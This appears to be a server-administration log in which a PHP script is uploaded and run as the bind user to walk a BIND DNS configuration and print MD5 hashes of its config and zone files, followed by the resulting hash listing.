MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 14:47:36: Establishing a connection
2026-04-28 14:47:37: 

PUT: /tmp/pkp172149

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 14:47:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp172149; rm /tmp/pkp172149'

2026-04-28 14:47:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
